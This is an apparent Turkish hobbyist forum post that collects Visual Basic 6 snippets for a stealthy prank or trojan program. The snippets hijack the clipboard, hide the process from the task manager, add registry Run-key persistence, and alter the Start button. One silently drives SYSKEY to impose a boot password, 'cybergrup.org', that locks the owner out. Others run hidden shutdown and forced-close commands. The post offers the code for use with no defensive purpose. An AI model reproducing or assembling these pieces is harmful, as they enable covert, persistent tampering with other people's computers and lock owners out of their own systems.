Visual Basic Sadece Bazı Kodları

bu kod clipboard a MadHunteR kelimesini ekliyo ve copy/paste işleminde hep MadHunteR yazmasını sağlıyor;

Kod:
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "MadHunteR"
End Sub

---------------------------------------------

formun açılmaması ve görev yöneticisinde gözükmemesi için;

Kod:
me.hide
app.taskvisible=false

---------------------------------------------

xp başlangıcına eklemek;

Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

---------------------------------------------

Başlat yazısını değiştirmek;

Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC
Dim yazi As String

Private Sub Form_Load()
yazi = "ByBerkay"
App.TaskVisible = False
Form1.Hide
End Sub

Private Sub Timer1_Timer()
Dim tWnd As Long, bWnd As Long

tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, yazi
End Sub

---------------------------------------------

windows başlamadan önce okunması için pencere açar;

Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "Wardom"
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End Sub

---------------------------------------------

cdrom açma ve kapama işlemini yapar;

Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub

Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End Sub

---------------------------------------------

xp başlangıç parolası koyar;
xp açılmadan önce sorulur oturum açma ekranı gelmeden önce .

deneyenler şifrenin "cybergrup.org" olduğunu unutmasın

Kod:
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "cybergrup.org", 1
SendKeys "{TAB}", 1
SendKeys "cybergrup.org", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End
End Sub

---------------------------------------------

bilgisayarı kapatır;

Kod:
Shell "shutdown -s -t 20", vbHide

---------------------------------------------

bilgisayarı yeniden başlatır;

Kod:
Shell "shutdown -r -t 20", vbHide

---------------------------------------------

oturumu kapatır;

Kod:
Shell "shutdown -l -t 20", vbHide

---------------------------------------------

çalışan uygulamaları uyarmadan kapanmaya zorlar;

Kod:
Shell "shutdown -f", vbHide